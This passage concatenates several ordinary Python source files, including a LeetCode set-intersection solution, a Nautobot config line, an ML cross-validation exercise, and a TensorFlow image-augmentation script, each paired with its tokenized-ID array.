3057, 29898, 13, 4706, 525, 2974, 742, 1065, 29918, 1688, 29918, 1688, 29889, 4571, 29924, 1430, 13381, 29903, 29892, 903, 25416, 29918, 12194, 4717, 29918, 1718, 10749, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 1119, 29892, 3806, 29897, 13, 13, 29871, 822, 1243, 3596, 26915, 29898, 1311, 1125, 13, 1678, 6273, 353, 9657, 7373, 25416, 29918, 1718, 29954, 5005, 3919, 29903, 29897, 13, 1678, 6273, 1839, 1688, 2033, 353, 525, 1688, 29918, 978, 29915, 13, 1678, 21126, 353, 1065, 29918, 29887, 1688, 29889, 6558, 29954, 3057, 29889, 4591, 21533, 29898, 25699, 29897, 13, 13, 1678, 4805, 29918, 5085, 353, 6024, 489, 29887, 1688, 29918, 4572, 29922, 1688, 29918, 978, 2033, 718, 903, 25416, 29918, 12194, 4717, 29918, 1718, 10749, 13, 1678, 3806, 353, 1065, 29918, 29887, 1688, 29889, 6558, 29954, 3057, 29898, 13, 4706, 525, 2974, 742, 1065, 29918, 1688, 29918, 1688, 29889, 4571, 29924, 1430, 13381, 29903, 29892, 4805, 29918, 5085, 29897, 13, 1678, 1583, 29889, 9294, 9843, 29898, 1119, 29892, 3806, 29897, 13, 2 ]
hash-table/Python/0349-intersection-of-two-arrays-3.py
ljyljy/LeetCode-Solution-in-Good-Style
1
151513
<gh_stars>1-10 from typing import List class Solution: def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]: num1_set = set(nums1) num2_set = set(nums2) return list(num1_set & num2_set) if __name__ == '__main__': nums1 = [4, 9, 5] nums2 = [9, 4, 9, 8, 4] s = Solution() result = s.intersection(nums1, nums2) print(result)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 19229, 1053, 2391, 13, 13, 1990, 24380, 29901, 13, 1678, 822, 17686, 29898, 1311, 29892, 954, 29879, 29896, 29901, 2391, 29961, 524, 1402, 954, 29879, 29906, 29901, 2391, 29961, 524, 2314, 1599, 2391, 29961, 524, 5387, 13, 4706, 954, 29896, 29918, 842, 353, 731, 29898, 1949, 29879, 29896, 29897, 13, 4706, 954, 29906, 29918, 842, 353, 731, 29898, 1949, 29879, 29906, 29897, 13, 4706, 736, 1051, 29898, 1949, 29896, 29918, 842, 669, 954, 29906, 29918, 842, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 954, 29879, 29896, 353, 518, 29946, 29892, 29871, 29929, 29892, 29871, 29945, 29962, 13, 1678, 954, 29879, 29906, 353, 518, 29929, 29892, 29871, 29946, 29892, 29871, 29929, 29892, 29871, 29947, 29892, 29871, 29946, 29962, 13, 1678, 269, 353, 24380, 580, 13, 1678, 1121, 353, 269, 29889, 1639, 2042, 29898, 1949, 29879, 29896, 29892, 954, 29879, 29906, 29897, 13, 1678, 1596, 29898, 2914, 29897, 13, 2 ]
nautobot/circuits/__init__.py
psmware-ltd/nautobot
384
12847
<reponame>psmware-ltd/nautobot default_app_config = "nautobot.circuits.apps.CircuitsConfig"
[ 1, 529, 276, 1112, 420, 29958, 567, 29885, 2519, 29899, 29880, 1594, 29914, 1056, 329, 711, 327, 13, 4381, 29918, 932, 29918, 2917, 353, 376, 1056, 329, 711, 327, 29889, 6034, 19544, 29889, 13371, 29889, 23495, 19544, 3991, 29908, 13, 2 ]
exercises/perform_model_selection.py
noavilk/IML.HUJI
0
4403
from __future__ import annotations import numpy as np import pandas as pd from sklearn import datasets from IMLearn.metrics import mean_square_error from IMLearn.utils import split_train_test from IMLearn.model_selection import cross_validate from IMLearn.learners.regressors import PolynomialFitting, LinearRegression, RidgeRegression from sklearn.linear_model import Lasso from utils import * import plotnine as gg def select_polynomial_degree(n_samples: int = 100, noise: float = 5): """ Simulate data from a polynomial model and use cross-validation to select the best fitting degree Parameters ---------- n_samples: int, default=100 Number of samples to generate noise: float, default = 5 Noise level to simulate in responses """ # Question 1 - Generate dataset for model f(x)=(x+3)(x+2)(x+1)(x-1)(x-2) + eps for eps Gaussian noise # and split into training- and testing portions def f(x): return (x + 3) * (x + 2) * (x + 1) * (x - 1) * (x - 2) X = np.linspace(-1.2, 2, n_samples) y = f(X) + np.random.normal(0, noise, n_samples) train_X, train_y, test_X, test_y = split_train_test(pd.DataFrame(X), pd.Series(y), train_proportion=(2 / 3)) df_train = pd.DataFrame({"x": train_X.squeeze(), "y": train_y, "type": "Train"}) df_test = pd.DataFrame({"x": test_X.squeeze(), "y": test_y, "type": "test"}) x_stat = np.linspace(-1.4, 2, 100) df_stat = pd.DataFrame({"x": x_stat, "y": f(x_stat), "type": "Model"}) df = pd.concat([df_test, df_train]) title = f"f(x) = (x+3)(x+2)(x+1)(x-1)(x-2) + Gaussian noise ~ N(0,{noise})" p = gg.ggplot() + \ gg.geom_point(df, gg.aes("x", "y", color="type")) + \ gg.geom_line(df_stat, gg.aes("x", "y")) + \ gg.theme_bw() + \ gg.ggtitle(title) # print(p) gg.ggsave(filename=f'../../IML/ex5/plots/{title}.png', plot=p, verbose=False) # Question 2 - Perform CV for polynomial fitting with degrees 0,1,...,10 train_err = [] validation_err = [] for k in range(11): pf = PolynomialFitting(k) train_score, validation_score = cross_validate(pf, train_X.to_numpy(), train_y.to_numpy(), mean_square_error) train_err.append(train_score) validation_err.append(validation_score) df1 = pd.DataFrame({"k": range(11), "avg error": train_err, "type": "train error"}) df2 = pd.DataFrame({"k": range(11), "avg error": validation_err, "type": "validation error"}) df = pd.concat([df1, df2]) title = f" Cross Validation for Polynomial Fitting Over Different Degrees k" p = gg.ggplot(df, gg.aes("k", "avg error", color="type")) + \ gg.geom_point() + \ gg.theme_bw() + gg.scale_x_continuous(breaks=range(11)) + \ gg.labs(y="Average training and validation errors", title=f"{title} \nWith Noise: {noise}, Num of samples: {n_samples}") gg.ggsave(filename=f'../../IML/ex5/plots/{title} {noise} {n_samples}.png', plot=p, verbose=False) # Question 3 - Using best value of k, fit a k-degree polynomial model and report test error best_k = np.argmin(np.array(validation_err)) pf = PolynomialFitting(int(best_k)) pf.fit(train_X.to_numpy(), train_y.to_numpy()) y_pred = pf.predict(test_X.to_numpy()) print("best k =", best_k) print("Test = ", round(mean_square_error(test_y.to_numpy(), y_pred), 2)) print("Validation = ", round(validation_err[best_k], 2)) def select_regularization_parameter(n_samples: int = 50, n_evaluations: int = 500): """ Using sklearn's diabetes dataset use cross-validation to select the best fitting regularization parameter values for Ridge and Lasso regressions Parameters ---------- n_samples: int, default=50 Number of samples to generate n_evaluations: int, default = 500 Number of regularization parameter values to evaluate for each of the algorithms """ # Question 6 - Load diabetes dataset and split into training and testing portions X, y = datasets.load_diabetes(return_X_y=True, as_frame=True) train_X, train_y, test_X, test_y = X.iloc[:50, :], y[:50], X.iloc[50:, ], y[50:] # Question 7 - Perform CV for different values of the regularization parameter for Ridge and Lasso regressions for name, learner, ran in [("Ridge", RidgeRegression, np.linspace(0.001, 0.05, 500)), ("Lasso", Lasso, np.linspace(0.001, 0.5, 500))]: train_err = [] validation_err = [] for lam in ran: rg = learner(lam) train_score, validation_score = cross_validate(rg, train_X.to_numpy(), train_y.to_numpy(), mean_square_error) train_err.append(train_score) validation_err.append(validation_score) df1 = pd.DataFrame({"lambda": ran, "avg error": train_err, "type": "train error"}) df2 = pd.DataFrame({"lambda": ran, "avg error": validation_err, "type": "validation error"}) df = pd.concat([df1, df2]) title = f"{name} Regularization Cross Validate Over Different Lambda" p = gg.ggplot(df, gg.aes("lambda", "avg error", color="type")) + \ gg.geom_line() + \ gg.theme_bw() + gg.labs(y="Average training and validation errors", title=title) gg.ggsave(filename=f'../../IML/ex5/plots/{title}.png', plot=p, verbose=False) # Question 8 - Compare best Ridge model, best Lasso model and Least Squares model best_lam = np.argmin(np.array(validation_err)) rg = learner(ran[best_lam]) rg.fit(train_X.to_numpy(), train_y.to_numpy()) y_pred = rg.predict(test_X.to_numpy()) print(f"best lambda {name} = {round(ran[best_lam], 3)}") print(f"Test MSE {name} = {round(mean_square_error(test_y.to_numpy(), y_pred), 2)}") lr = LinearRegression() lr.fit(train_X.to_numpy(), train_y.to_numpy()) print("Linear Regression Loss = ", lr.loss(test_X.to_numpy(), test_y.to_numpy())) if __name__ == '__main__': np.random.seed(0) select_polynomial_degree() select_polynomial_degree(noise=0) select_polynomial_degree(n_samples=1500, noise=10) select_regularization_parameter()
[ 1, 515, 4770, 29888, 9130, 1649, 1053, 25495, 13, 5215, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 3166, 2071, 19668, 1053, 20035, 13, 3166, 306, 1988, 799, 29876, 29889, 2527, 10817, 1053, 2099, 29918, 17619, 29918, 2704, 13, 3166, 306, 1988, 799, 29876, 29889, 13239, 1053, 6219, 29918, 14968, 29918, 1688, 13, 3166, 306, 1988, 799, 29876, 29889, 4299, 29918, 21731, 1053, 4891, 29918, 15480, 13, 3166, 306, 1988, 799, 29876, 29889, 1945, 8397, 29889, 276, 3663, 943, 1053, 2043, 9222, 29943, 5367, 29892, 22985, 4597, 23881, 29892, 390, 5525, 4597, 23881, 13, 3166, 2071, 19668, 29889, 10660, 29918, 4299, 1053, 365, 9979, 13, 13, 3166, 3667, 29879, 1053, 334, 13, 5215, 6492, 29876, 457, 408, 20775, 13, 13, 13, 1753, 1831, 29918, 3733, 9222, 29918, 12163, 929, 29898, 29876, 29918, 27736, 29901, 938, 353, 29871, 29896, 29900, 29900, 29892, 11462, 29901, 5785, 353, 29871, 29945, 1125, 13, 1678, 9995, 13, 1678, 3439, 5987, 848, 515, 263, 10159, 1904, 322, 671, 4891, 29899, 18157, 304, 1831, 278, 1900, 28221, 7426, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 302, 29918, 27736, 29901, 938, 29892, 2322, 29922, 29896, 29900, 29900, 13, 4706, 9681, 310, 11916, 304, 5706, 13, 13, 1678, 11462, 29901, 5785, 29892, 2322, 353, 29871, 29945, 13, 4706, 1939, 895, 3233, 304, 29611, 297, 20890, 13, 1678, 9995, 13, 13, 1678, 396, 894, 29871, 29896, 448, 3251, 403, 8783, 363, 1904, 285, 29898, 29916, 3892, 29898, 29916, 29974, 29941, 5033, 29916, 29974, 29906, 5033, 29916, 29974, 29896, 5033, 29916, 29899, 29896, 5033, 29916, 29899, 29906, 29897, 718, 321, 567, 363, 321, 567, 22477, 11462, 13, 1678, 396, 322, 6219, 964, 6694, 29899, 322, 6724, 2011, 1080, 13, 13, 1678, 822, 285, 29898, 29916, 1125, 13, 4706, 736, 313, 29916, 718, 29871, 29941, 29897, 334, 313, 29916, 718, 29871, 29906, 29897, 334, 313, 29916, 718, 29871, 29896, 29897, 334, 313, 29916, 448, 29871, 29896, 29897, 334, 313, 29916, 448, 29871, 29906, 29897, 13, 13, 1678, 1060, 353, 7442, 29889, 1915, 3493, 6278, 29896, 29889, 29906, 29892, 29871, 29906, 29892, 302, 29918, 27736, 29897, 13, 1678, 343, 353, 285, 29898, 29990, 29897, 718, 7442, 29889, 8172, 29889, 8945, 29898, 29900, 29892, 11462, 29892, 302, 29918, 27736, 29897, 13, 1678, 7945, 29918, 29990, 29892, 7945, 29918, 29891, 29892, 1243, 29918, 29990, 29892, 1243, 29918, 29891, 353, 6219, 29918, 14968, 29918, 1688, 29898, 15926, 29889, 17271, 29898, 29990, 511, 10518, 29889, 19204, 29898, 29891, 511, 7945, 29918, 771, 637, 291, 7607, 29906, 847, 29871, 29941, 876, 13, 13, 1678, 4489, 29918, 14968, 353, 10518, 29889, 17271, 3319, 29908, 29916, 1115, 7945, 29918, 29990, 29889, 29879, 802, 29872, 911, 3285, 376, 29891, 1115, 7945, 29918, 29891, 29892, 376, 1853, 1115, 376, 5323, 262, 29908, 1800, 13, 1678, 4489, 29918, 1688, 353, 10518, 29889, 17271, 3319, 29908, 29916, 1115, 1243, 29918, 29990, 29889, 29879, 802, 29872, 911, 3285, 376, 29891, 1115, 1243, 29918, 29891, 29892, 376, 1853, 1115, 376, 1688, 29908, 1800, 13, 1678, 921, 29918, 6112, 353, 7442, 29889, 1915, 3493, 6278, 29896, 29889, 29946, 29892, 29871, 29906, 29892, 29871, 29896, 29900, 29900, 29897, 13, 1678, 4489, 29918, 6112, 353, 10518, 29889, 17271, 3319, 29908, 29916, 1115, 921, 29918, 6112, 29892, 376, 29891, 1115, 285, 29898, 29916, 29918, 6112, 511, 376, 1853, 1115, 376, 3195, 29908, 1800, 13, 1678, 4489, 353, 10518, 29889, 17685, 4197, 2176, 29918, 1688, 29892, 4489, 29918, 14968, 2314, 13, 1678, 3611, 353, 285, 29908, 29888, 29898, 29916, 29897, 353, 313, 29916, 29974, 29941, 5033, 29916, 29974, 29906, 5033, 29916, 29974, 29896, 5033, 29916, 29899, 29896, 5033, 29916, 29899, 29906, 29897, 718, 22477, 11462, 3695, 405, 29898, 29900, 29892, 29912, 1217, 895, 1800, 29908, 13, 13, 1678, 282, 353, 20775, 29889, 1505, 5317, 580, 718, 320, 13, 4706, 20775, 29889, 479, 290, 29918, 3149, 29898, 2176, 29892, 20775, 29889, 28628, 703, 29916, 613, 376, 29891, 613, 2927, 543, 1853, 5783, 718, 320, 13, 4706, 20775, 29889, 479, 290, 29918, 1220, 29898, 2176, 29918, 6112, 29892, 20775, 29889, 28628, 703, 29916, 613, 376, 29891, 5783, 718, 320, 13, 4706, 20775, 29889, 18193, 29918, 29890, 29893, 580, 718, 320, 13, 4706, 20775, 29889, 1505, 3257, 29898, 3257, 29897, 13, 1678, 396, 1596, 29898, 29886, 29897, 13, 1678, 20775, 29889, 1505, 7620, 29898, 9507, 29922, 29888, 29915, 21546, 29902, 1988, 29914, 735, 29945, 29914, 26762, 19248, 3257, 1836, 2732, 742, 6492, 29922, 29886, 29892, 26952, 29922, 8824, 29897, 13, 13, 1678, 396, 894, 29871, 29906, 448, 27313, 25778, 363, 10159, 28221, 411, 14496, 29871, 29900, 29892, 29896, 27062, 29896, 29900, 13, 1678, 7945, 29918, 3127, 353, 5159, 13, 1678, 8845, 29918, 3127, 353, 5159, 13, 1678, 363, 413, 297, 3464, 29898, 29896, 29896, 1125, 13, 4706, 282, 29888, 353, 2043, 9222, 29943, 5367, 29898, 29895, 29897, 13, 4706, 7945, 29918, 13628, 29892, 8845, 29918, 13628, 353, 4891, 29918, 15480, 29898, 7810, 29892, 7945, 29918, 29990, 29889, 517, 29918, 23749, 3285, 7945, 29918, 29891, 29889, 517, 29918, 23749, 3285, 2099, 29918, 17619, 29918, 2704, 29897, 13, 4706, 7945, 29918, 3127, 29889, 4397, 29898, 14968, 29918, 13628, 29897, 13, 4706, 8845, 29918, 3127, 29889, 4397, 29898, 18157, 29918, 13628, 29897, 13, 13, 1678, 4489, 29896, 353, 10518, 29889, 17271, 3319, 29908, 29895, 1115, 3464, 29898, 29896, 29896, 511, 376, 485, 29887, 1059, 1115, 7945, 29918, 3127, 29892, 376, 1853, 1115, 376, 14968, 1059, 29908, 1800, 13, 1678, 4489, 29906, 353, 10518, 29889, 17271, 3319, 29908, 29895, 1115, 3464, 29898, 29896, 29896, 511, 376, 485, 29887, 1059, 1115, 8845, 29918, 3127, 29892, 376, 1853, 1115, 376, 18157, 1059, 29908, 1800, 13, 1678, 4489, 353, 10518, 29889, 17685, 4197, 2176, 29896, 29892, 4489, 29906, 2314, 13, 1678, 3611, 353, 285, 29908, 11189, 15758, 362, 363, 2043, 9222, 383, 5367, 6811, 360, 15622, 360, 387, 11003, 413, 29908, 13, 1678, 282, 353, 20775, 29889, 1505, 5317, 29898, 2176, 29892, 20775, 29889, 28628, 703, 29895, 613, 376, 485, 29887, 1059, 613, 2927, 543, 1853, 5783, 718, 320, 13, 4706, 20775, 29889, 479, 290, 29918, 3149, 580, 718, 320, 13, 4706, 20775, 29889, 18193, 29918, 29890, 29893, 580, 718, 20775, 29889, 7052, 29918, 29916, 29918, 20621, 681, 29898, 8690, 29879, 29922, 3881, 29898, 29896, 29896, 876, 718, 320, 13, 4706, 20775, 29889, 29880, 6897, 29898, 29891, 543, 29909, 19698, 6694, 322, 8845, 4436, 613, 13, 18884, 3611, 29922, 29888, 29908, 29912, 3257, 29913, 320, 29876, 3047, 1939, 895, 29901, 426, 1217, 895, 1118, 11848, 310, 11916, 29901, 426, 29876, 29918, 27736, 27195, 13, 1678, 20775, 29889, 1505, 7620, 29898, 9507, 29922, 29888, 29915, 21546, 29902, 1988, 29914, 735, 29945, 29914, 26762, 19248, 3257, 29913, 426, 1217, 895, 29913, 426, 29876, 29918, 27736, 1836, 2732, 742, 6492, 29922, 29886, 29892, 26952, 29922, 8824, 29897, 13, 13, 1678, 396, 894, 29871, 29941, 448, 5293, 1900, 995, 310, 413, 29892, 6216, 263, 413, 29899, 12163, 929, 10159, 1904, 322, 3461, 1243, 1059, 13, 1678, 1900, 29918, 29895, 353, 7442, 29889, 1191, 1195, 29898, 9302, 29889, 2378, 29898, 18157, 29918, 3127, 876, 13, 1678, 282, 29888, 353, 2043, 9222, 29943, 5367, 29898, 524, 29898, 13318, 29918, 29895, 876, 13, 1678, 282, 29888, 29889, 9202, 29898, 14968, 29918, 29990, 29889, 517, 29918, 23749, 3285, 7945, 29918, 29891, 29889, 517, 29918, 23749, 3101, 13, 1678, 343, 29918, 11965, 353, 282, 29888, 29889, 27711, 29898, 1688, 29918, 29990, 29889, 517, 29918, 23749, 3101, 13, 1678, 1596, 703, 13318, 413, 353, 613, 1900, 29918, 29895, 29897, 13, 1678, 1596, 703, 3057, 353, 9162, 4513, 29898, 12676, 29918, 17619, 29918, 2704, 29898, 1688, 29918, 29891, 29889, 517, 29918, 23749, 3285, 343, 29918, 11965, 511, 29871, 29906, 876, 13, 1678, 1596, 703, 19448, 353, 9162, 4513, 29898, 18157, 29918, 3127, 29961, 13318, 29918, 29895, 1402, 29871, 29906, 876, 13, 13, 13, 1753, 1831, 29918, 15227, 2133, 29918, 15501, 29898, 29876, 29918, 27736, 29901, 938, 353, 29871, 29945, 29900, 29892, 302, 29918, 24219, 800, 29901, 938, 353, 29871, 29945, 29900, 29900, 1125, 13, 1678, 9995, 13, 1678, 5293, 2071, 19668, 29915, 29879, 652, 370, 10778, 8783, 671, 4891, 29899, 18157, 304, 1831, 278, 1900, 28221, 4943, 2133, 3443, 13, 1678, 1819, 363, 390, 5525, 322, 365, 9979, 337, 3663, 1080, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 302, 29918, 27736, 29901, 938, 29892, 2322, 29922, 29945, 29900, 13, 4706, 9681, 310, 11916, 304, 5706, 13, 13, 1678, 302, 29918, 24219, 800, 29901, 938, 29892, 2322, 353, 29871, 29945, 29900, 29900, 13, 4706, 9681, 310, 4943, 2133, 3443, 1819, 304, 14707, 363, 1269, 310, 278, 14009, 13, 1678, 9995, 13, 1678, 396, 894, 29871, 29953, 448, 16012, 652, 370, 10778, 8783, 322, 6219, 964, 6694, 322, 6724, 2011, 1080, 13, 1678, 1060, 29892, 343, 353, 20035, 29889, 1359, 29918, 6051, 370, 10778, 29898, 2457, 29918, 29990, 29918, 29891, 29922, 5574, 29892, 408, 29918, 2557, 29922, 5574, 29897, 13, 1678, 7945, 29918, 29990, 29892, 7945, 29918, 29891, 29892, 1243, 29918, 29990, 29892, 1243, 29918, 29891, 353, 1060, 29889, 309, 542, 7503, 29945, 29900, 29892, 584, 1402, 343, 7503, 29945, 29900, 1402, 1060, 29889, 309, 542, 29961, 29945, 29900, 29901, 29892, 21251, 343, 29961, 29945, 29900, 17531, 13, 13, 1678, 396, 894, 29871, 29955, 448, 27313, 25778, 363, 1422, 1819, 310, 278, 4943, 2133, 3443, 363, 390, 5525, 322, 365, 9979, 337, 3663, 1080, 13, 1678, 363, 1024, 29892, 24298, 1089, 29892, 6350, 297, 518, 703, 29934, 5525, 613, 390, 5525, 4597, 23881, 29892, 7442, 29889, 1915, 3493, 29898, 29900, 29889, 29900, 29900, 29896, 29892, 29871, 29900, 29889, 29900, 29945, 29892, 29871, 29945, 29900, 29900, 8243, 13, 462, 1669, 4852, 29931, 9979, 613, 365, 9979, 29892, 7442, 29889, 1915, 3493, 29898, 29900, 29889, 29900, 29900, 29896, 29892, 29871, 29900, 29889, 29945, 29892, 29871, 29945, 29900, 29900, 876, 5387, 13, 4706, 7945, 29918, 3127, 353, 5159, 13, 4706, 8845, 29918, 3127, 353, 5159, 13, 4706, 363, 301, 314, 297, 6350, 29901, 13, 9651, 15552, 353, 24298, 1089, 29898, 5288, 29897, 13, 9651, 7945, 29918, 13628, 29892, 8845, 29918, 13628, 353, 4891, 29918, 15480, 29898, 11007, 29892, 7945, 29918, 29990, 29889, 517, 29918, 23749, 3285, 7945, 29918, 29891, 29889, 517, 29918, 23749, 3285, 13, 462, 462, 462, 965, 2099, 29918, 17619, 29918, 2704, 29897, 13, 9651, 7945, 29918, 3127, 29889, 4397, 29898, 14968, 29918, 13628, 29897, 13, 9651, 8845, 29918, 3127, 29889, 4397, 29898, 18157, 29918, 13628, 29897, 13, 4706, 4489, 29896, 353, 10518, 29889, 17271, 3319, 29908, 2892, 1115, 6350, 29892, 376, 485, 29887, 1059, 1115, 7945, 29918, 3127, 29892, 376, 1853, 1115, 376, 14968, 1059, 29908, 1800, 13, 4706, 4489, 29906, 353, 10518, 29889, 17271, 3319, 29908, 2892, 1115, 6350, 29892, 376, 485, 29887, 1059, 1115, 8845, 29918, 3127, 29892, 376, 1853, 1115, 376, 18157, 1059, 29908, 1800, 13, 4706, 4489, 353, 10518, 29889, 17685, 4197, 2176, 29896, 29892, 4489, 29906, 2314, 13, 4706, 3611, 353, 285, 29908, 29912, 978, 29913, 2169, 1070, 2133, 11189, 15758, 403, 6811, 360, 15622, 365, 2269, 29908, 13, 4706, 282, 353, 20775, 29889, 1505, 5317, 29898, 2176, 29892, 20775, 29889, 28628, 703, 2892, 613, 376, 485, 29887, 1059, 613, 2927, 543, 1853, 5783, 718, 320, 13, 9651, 20775, 29889, 479, 290, 29918, 1220, 580, 718, 320, 13, 9651, 20775, 29889, 18193, 29918, 29890, 29893, 580, 718, 20775, 29889, 29880, 6897, 29898, 29891, 543, 29909, 19698, 6694, 322, 8845, 4436, 613, 3611, 29922, 3257, 29897, 13, 4706, 20775, 29889, 1505, 7620, 29898, 9507, 29922, 29888, 29915, 21546, 29902, 1988, 29914, 735, 29945, 29914, 26762, 19248, 3257, 1836, 2732, 742, 6492, 29922, 29886, 29892, 26952, 29922, 8824, 29897, 13, 13, 4706, 396, 894, 29871, 29947, 448, 3831, 598, 1900, 390, 5525, 1904, 29892, 1900, 365, 9979, 1904, 322, 951, 579, 317, 339, 5114, 1904, 13, 4706, 1900, 29918, 5288, 353, 7442, 29889, 1191, 1195, 29898, 9302, 29889, 2378, 29898, 18157, 29918, 3127, 876, 13, 4706, 15552, 353, 24298, 1089, 29898, 661, 29961, 13318, 29918, 5288, 2314, 13, 4706, 15552, 29889, 9202, 29898, 14968, 29918, 29990, 29889, 517, 29918, 23749, 3285, 7945, 29918, 29891, 29889, 517, 29918, 23749, 3101, 13, 4706, 343, 29918, 11965, 353, 15552, 29889, 27711, 29898, 1688, 29918, 29990, 29889, 517, 29918, 23749, 3101, 13, 4706, 1596, 29898, 29888, 29908, 13318, 14013, 426, 978, 29913, 353, 426, 14486, 29898, 661, 29961, 13318, 29918, 5288, 1402, 29871, 29941, 2915, 1159, 13, 4706, 1596, 29898, 29888, 29908, 3057, 341, 1660, 426, 978, 29913, 353, 426, 14486, 29898, 12676, 29918, 17619, 29918, 2704, 29898, 1688, 29918, 29891, 29889, 517, 29918, 23749, 3285, 343, 29918, 11965, 511, 29871, 29906, 2915, 1159, 13, 1678, 301, 29878, 353, 22985, 4597, 23881, 580, 13, 1678, 301, 29878, 29889, 9202, 29898, 14968, 29918, 29990, 29889, 517, 29918, 23749, 3285, 7945, 29918, 29891, 29889, 517, 29918, 23749, 3101, 13, 1678, 1596, 703, 12697, 2169, 23881, 365, 2209, 353, 9162, 301, 29878, 29889, 6758, 29898, 1688, 29918, 29990, 29889, 517, 29918, 23749, 3285, 1243, 29918, 29891, 29889, 517, 29918, 23749, 22130, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 7442, 29889, 8172, 29889, 26776, 29898, 29900, 29897, 13, 1678, 1831, 29918, 3733, 9222, 29918, 12163, 929, 580, 13, 1678, 1831, 29918, 3733, 9222, 29918, 12163, 929, 29898, 1217, 895, 29922, 29900, 29897, 13, 1678, 1831, 29918, 3733, 9222, 29918, 12163, 929, 29898, 29876, 29918, 27736, 29922, 29896, 29945, 29900, 29900, 29892, 11462, 29922, 29896, 29900, 29897, 13, 1678, 1831, 29918, 15227, 2133, 29918, 15501, 580, 13, 2 ]
useful_scripts/prepDataset.py
jessvb/3d_world_procedural_generation
7
39971
<gh_stars>1-10 import os import tensorflow as tf import random import numpy as np import matplotlib.pyplot as plt # uncomment for inline for the notebook: # %matplotlib inline import pickle # enter the directory where the training images are: TRAIN_DIR = 'train/' IMAGE_SIZE = 512 train_image_file_names = [TRAIN_DIR+i for i in os.listdir(TRAIN_DIR)] # to decode a single png img: # graph = tf.Graph() # with graph.as_default(): # file_name = tf.placeholder(dtype=tf.string) # file1 = tf.read_file(file_name) # image = tf.image.decode_png(file1) # with tf.Session(graph=graph) as session: # tf.global_variables_initializer().run() # image_vector = session.run(image, feed_dict={ # file_name: train_image_file_names[1]}) # print(image_vector) # session.close() # method to decode many png images: def decode_image(image_file_names, resize_func=None): images = [] graph = tf.Graph() with graph.as_default(): file_name = tf.placeholder(dtype=tf.string) file1 = tf.read_file(file_name) image = tf.image.decode_png(file1) # , channels=3) <-- use three channels for rgb pictures k = tf.placeholder(tf.int32) tf_rot_img = tf.image.rot90(image, k=k) # im_rot = tf.placeholder(tf.float32, shape=(IMAGE_SIZE, IMAGE_SIZE, 3)) tf_flip_img = tf.image.flip_left_right(tf_rot_img) with tf.Session(graph=graph) as session: tf.global_variables_initializer().run() for i in range(len(image_file_names)): for j in range(4): # rotation at 0, 90, 180, 270 degrees rotated_img = session.run(tf_rot_img, feed_dict={ file_name: image_file_names[i], k: j}) images.append(rotated_img) flipped_img = session.run( tf_flip_img, feed_dict={ file_name: image_file_names[i], k: j}) images.append(flipped_img) if (i+1) % 1000 == 0: print('Images processed: ', i+1) session.close() return images train_images = decode_image(train_image_file_names) print('shape train: ', np.shape(train_images)) # Let's see some of the images # for i in range(10,14): # plt.imshow(train_images[i].reshape([IMAGE_SIZE,IMAGE_SIZE]), cmap=plt.get_cmap('gray')) # plt.show() # for rgb images: # for i in range(10,20): # plt.imshow(train_images[i]) # plt.show() def create_batch(data, label, batch_size): i = 0 while i*batch_size <= len(data): with open(label + '_' + str(i) + '.pickle', 'wb') as handle: content = data[(i * batch_size):((i+1) * batch_size)] pickle.dump(content, handle) print('Saved', label, 'part #' + str(i), 'with', len(content), 'entries.') i += 1 # Create one hot encoding for labels # labels = [[1., 0.] if 'dog' in name else [0., 1.] for name in train_image_file_names] # these are all real images, so let's encode them all with 1's labels = [[1., 0.] for name in train_image_file_names] # TO EXPORT DATA WHEN RUNNING LOCALLY - UNCOMMENT THESE LINES # a batch with 5000 images has a size of around 3.5 GB # create_batch(labels, 'pickled/', np.shape(train_images)[0]) create_batch(train_images, 'pickled/', np.shape(train_images)[0]) print('done creating dataset')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 2897, 13, 5215, 26110, 408, 15886, 13, 5215, 4036, 13, 5215, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 29937, 443, 9342, 363, 10583, 363, 278, 451, 19273, 29901, 13, 29937, 1273, 2922, 17357, 10583, 13, 5215, 5839, 280, 13, 13, 29937, 3896, 278, 3884, 988, 278, 6694, 4558, 526, 29901, 13, 29911, 4717, 1177, 29918, 9464, 353, 525, 14968, 22208, 13, 2382, 29918, 14226, 353, 29871, 29945, 29896, 29906, 13, 13, 14968, 29918, 3027, 29918, 1445, 29918, 7039, 353, 518, 29911, 4717, 1177, 29918, 9464, 29974, 29875, 363, 474, 297, 2897, 29889, 1761, 3972, 29898, 29911, 4717, 1177, 29918, 9464, 4638, 13, 13, 29937, 304, 21822, 263, 2323, 282, 865, 10153, 29901, 13, 29937, 3983, 353, 15886, 29889, 9527, 580, 13, 29937, 411, 3983, 29889, 294, 29918, 4381, 7295, 13, 29937, 268, 934, 29918, 978, 353, 15886, 29889, 27074, 29898, 29881, 1853, 29922, 13264, 29889, 1807, 29897, 13, 29937, 268, 934, 29896, 353, 15886, 29889, 949, 29918, 1445, 29898, 1445, 29918, 978, 29897, 13, 29937, 268, 1967, 353, 15886, 29889, 3027, 29889, 13808, 29918, 2732, 29898, 1445, 29896, 29897, 13, 13, 29937, 411, 15886, 29889, 7317, 29898, 4262, 29922, 4262, 29897, 408, 4867, 29901, 13, 29937, 268, 15886, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 2141, 3389, 580, 13, 29937, 268, 1967, 29918, 8111, 353, 4867, 29889, 3389, 29898, 3027, 29892, 8343, 29918, 8977, 3790, 13, 29937, 308, 934, 29918, 978, 29901, 7945, 29918, 3027, 29918, 1445, 29918, 7039, 29961, 29896, 29962, 1800, 13, 29937, 268, 1596, 29898, 3027, 29918, 8111, 29897, 13, 29937, 268, 4867, 29889, 5358, 580, 13, 13, 29937, 1158, 304, 21822, 1784, 282, 865, 4558, 29901, 13, 1753, 21822, 29918, 3027, 29898, 3027, 29918, 1445, 29918, 7039, 29892, 19490, 29918, 9891, 29922, 8516, 1125, 13, 13, 1678, 4558, 353, 5159, 13, 13, 1678, 3983, 353, 